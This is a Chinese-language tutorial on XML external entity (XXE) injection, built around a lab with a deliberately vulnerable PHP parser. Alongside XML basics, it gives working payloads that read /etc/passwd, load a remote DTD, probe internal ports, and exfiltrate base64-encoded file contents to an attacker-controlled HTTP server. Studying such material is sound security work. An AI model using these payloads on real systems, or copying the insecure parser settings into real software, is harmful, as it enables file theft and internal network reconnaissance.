一、漏洞环境搭建
简单点可以直接下载phpstudy
集成环境,愿意多熟悉Linux操作的可以自己在虚拟机搭建Apache环境或Nginx环境,这边就不赘述,本次采用的脚本语言是PHP。
首先是前端代码,利用Javascript
提交所填写的xml数据到后端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html> <html> <head> <title>XXE Vulnerability Example</title> </head> <body> <h1>XXE Vulnerability Example</h1> <textarea id="inputXML"></textarea><br><br> <button onclick="sendXML()">Submit XML</button> <script> function sendXML() { var xhr = new XMLHttpRequest(); xhr.open("POST", "xxe.php"); xhr.setRequestHeader("Content-Type", "application/xml"); var xmlPayload = document.getElementById("inputXML").value; xhr.send(xmlPayload); } </script> </body> </html>
|
其次是后端PHP代码,主要作用是接收前端提交的数据并解析,然后遍历并输出所有节点内容;
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $xml_data = file_get_contents('php://input'); $doc = new DOMDocument(); $doc->loadXML($xml_data, LIBXML_NOENT | LIBXML_DTDLOAD); $data = simplexml_import_dom($doc); var_dump($data); ?>
|
二、XML基础知识
1. XML的简介
XML(EXtensible Markup Language)指可扩展标记语言,而HTML(Hyper Text Markup Language)指超文本标记语言,二者的区别是:
- XML 被设计用来传输和存储数据;
- HTML被设计用来显示数据;
个人理解XML是一种数据格式,类似于JSON都是用来进行传输和存储数据。
2. XML结构
XML 使用简单的具有自我描述性的语法:
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <people> <name>XiaoMing</name> <age>18</age> <sex>boy</sex> </people>
|

第一行是xml的声明并定义了xml版本和所使用的编码种类。
第二行是描述文档的根元素,其标签是该节点的待描述的概述,像是一个实例化的对象:
1 2 3 4 5 6 7
| class People: def __init__(name, age, sex): self.name = name self.age = age self.sex = sex people1 = People('XiaoMing', 18, 'boy')
|
最后根元素里面的tag都属于描述根的子元素,其中XML也可以这么描述:
1 2 3 4 5 6 7 8 9 10 11 12
| <class> <people> <name>XiaoMing</name> <age>18</age> <sex>boy</sex> </people> <people> <name>XiaoHong</name> <age>18</age> <sex>girl</sex> </people> </class>
|

但不可以这么描述,因为XML只允许有一个根元素:
1 2 3 4 5 6 7 8 9 10
| <people> <name>XiaoMing</name> <age>18</age> <sex>boy</sex> </people> <people> <name>XiaoHong</name> <age>18</age> <sex>girl</sex> </people>
|

3. 数据类型
0x01. PCDATA类型
PCDATA
(Parsed Character Data)指的是被解析的字符数据,XML 解析器通常会解析 XML 文档中所有的文本,即我们上面距离的所有XML数据都属于PCDATA类型。但PCDATA类型的数据不允许有>
、&
符号,否则会报错。例如下属xml结构:
1 2 3 4 5 6 7 8 9 10 11 12 13
| // Error <people> <name>XiaoMing</name> <condition>age<18</condition> <sex>boy</sex> </people> // Correct <people> <name>XiaoMing</name> <condition>age<18</condition> <sex>boy</sex> </people>
|


当xml数据中包含了很多非法字符时,一个一个转换很麻烦,于是便有了CDATA
类型。
0x02. CDATA类型
CDATA
指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data),CDATA 部分中的所有内容都会被解析器忽略。该语法如下所示
把上面的示例重写写下:
1 2 3 4 5
| <people> <name>XiaoMing</name> <condition>age<![CDATA[ < ]]>18</condition> <sex>boy</sex> </people>
|
可以看到下图会正常将<符号显示

3. 实体
0x01. 一般实体
在DTD中定义实体名,在XML文档中使用&实体名;
来引用对应的实体。
1 2 3 4 5 6 7 8 9 10 11
| // 实体定义,ANY表示接受任何元素 <!DOCTYPE ANY [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
// 调用实体结构 <people> <name>XiaoMing</name> <age>18</age> <sex>&file;</sex> </people>
|
其中DTD的目的是定义XML文档的结构,它使用一系列合法的元素来定义文档结构。例如:
1 2 3 4 5 6 7 8
| <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
|
其中上述代码中定义note
为根元素,而根元素内又包含to
、from
、heading
、body
子元素,故XML结构要写出类似于这样
1 2 3 4 5 6
| <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <message>Don't forget me this weekend!</message> </note>
|
0x02.参数实体
使用% 实体名
在DTD中定义,并且只能在DTD中使用%实体名;
引用
1 2 3 4
| <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://192.168.88.150/test.dtd"> %remote; ]>
|
三、漏洞利用
0x01.文件读取

0x02.内网主机端口探测
将远程dtd文件改成如下所示,先测试本地端口的3306端口是否开放
这里使用了php://fileter协议,并通过base64对读取的内容进行编码,保证xml结构不被破坏

另外运行命令python -m SimpleHTTPServer 8000
开启一个简单的web服务作为回显,在向服务器发送精心构造的xml数据
1 2 3 4
| <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.88.150/test.dtd"> %remote;%int;%send; ]>
|
当端口存在时http服务会有回显

当端口不存在时,http服务就没有回显

故可借此特征写一个内网端口探测脚本
0x03.XXE无回显利用
下列test.dtd
文件是外部资源
1 2 3
| <!-- test.dtd --> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.88.150:8000/?data=%file;'>">
|
通过以下payload来触发dtd文件中定义的操作,下列的执行逻辑是先引用remote
实体,该实体解析dtd文件后,在引用dtd中的int
实体,
1 2 3 4
| <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://remote_server/test.dtd"> %remote;%int;%send; ]>
|

编码是为了不破坏原本的XML语法
实体的值中不能有 %, 所以将其转成html实体编码 %;


(还有很多利用场景以后碰到了再继续总结)
参考: